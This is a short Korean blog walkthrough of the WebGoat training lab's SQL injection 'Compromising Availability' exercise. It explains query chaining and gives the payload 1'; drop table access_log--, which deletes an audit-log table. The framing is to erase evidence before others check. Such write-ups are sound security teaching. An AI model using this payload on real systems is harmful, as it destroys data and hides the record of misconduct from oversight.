WebGoat - A1 injection (Compromising Availability)

oolongeya

·

2021. 8. 27. 14:37

이제 당신은 당신 회사의 최고 수익자이다.

 

하지만 access_log 테이블에 기록이 남아있다.

 

다른 사람이 확인하기 전에 완전히 삭제하는 것이 좋습니다.

 

검색은 하고 그 이후 문으로 삭제하는 쿼리를 넣으면 되는 것이다.

 

이 문제 역시 query chaining 이다.

 

1'; drop table access_log--

 

반응형